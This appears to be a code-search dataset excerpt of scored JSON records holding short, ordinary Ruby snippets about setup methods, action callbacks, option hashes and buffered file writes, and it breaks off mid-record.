"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
710cd1b8102192c996b197ecf7d98eda | Note: these options serve an older API, as such they should probably never be updated. | [
{
"docid": "0f03934f3005f09be4e37882d32e623e",
"score": "0.0",
"text": "def create_options_without_products\n {\n currency: currency,\n name: name,\n amount: amount,\n interval: interval,\n interval_count: interval_count,\n trial_period_days: trial_period_days,\n metadata: metadata,\n statement_descriptor: statement_descriptor\n }\n end",
"title": ""
}
] | [
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77658486",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
},
{
"docid": "711b44c4f487bac2449db3191172dfa2",
"score": "0.77655315",
"text": "def options; end",
"title": ""
}
] |
fd27c4fd6749f21f3ab022ea3380fd0b | Try and write the buffer to the file via non blocking file writes. If the write fails try again. | [
{
"docid": "ffd601b285a4262902270491877174c1",
"score": "0.69557744",
"text": "def try_write(fd, buf)\n if defined?(Fcntl::O_NONBLOCK)\n s = fd.write_nonblock(buf)\n else\n s = fd.write(buf)\n end\n if s < buf.length\n buf = buf[s..-1] # didn't finish\n else\n buf = \"\"\n end\n buf\n rescue Errno::EAGAIN\n buf\n end",
"title": ""
}
] | [
{
"docid": "0c9ce7fa1db1cb42b3a756dadba619a5",
"score": "0.69479716",
"text": "def try_write(chunk)\n write(chunk)\n end",
"title": ""
},
{
"docid": "375d9451799fa5f559f572cf36b1521a",
"score": "0.6893729",
"text": "def write_buffer_to_file(buffer, filename)\n abs_path = File.join(write_path, filename)\n assert_directory_exists!(abs_path)\n write_method.call(abs_path, buffer)\n end",
"title": ""
},
{
"docid": "384689ecffb50c46db42a977b5ecb058",
"score": "0.6623295",
"text": "def write\n f = @target_file\n f.pos = @target_end_offset - @target_length\n bytes_written = f.write(@buffer)\n raise IOError if @buffer.size != bytes_written\n end",
"title": ""
},
{
"docid": "896a3b3fda7fb3541b0d83f716b07b3d",
"score": "0.6464424",
"text": "def write_chunk(start, buffer)\n file_io_synchronize do\n @file.seek(start)\n @file.write(buffer)\n end\n end",
"title": ""
},
{
"docid": "f24bf494b18d88d8d62390c79ab1878f",
"score": "0.63934726",
"text": "def write_file\r\n if @dirty == true\r\n @outputFile.seek(0) #because lines in between may change\r\n @buffer.each {|line| @outputFile.write(line)}\r\n @dirty = false\r\n else\r\n puts \"No unsaved data to write\"\r\n end\r\n end",
"title": ""
},
{
"docid": "199ad309f4ed4b5c3f9eb8cfb5055f92",
"score": "0.6177814",
"text": "def write_nonblock(buf, exception: true)\n @io.write_nonblock(buf, exception:)\n end",
"title": ""
},
{
"docid": "199ad309f4ed4b5c3f9eb8cfb5055f92",
"score": "0.6177814",
"text": "def write_nonblock(buf, exception: true)\n @io.write_nonblock(buf, exception:)\n end",
"title": ""
},
{
"docid": "ffaee162bc4cd0afe8a14cfb50897b1c",
"score": "0.61578155",
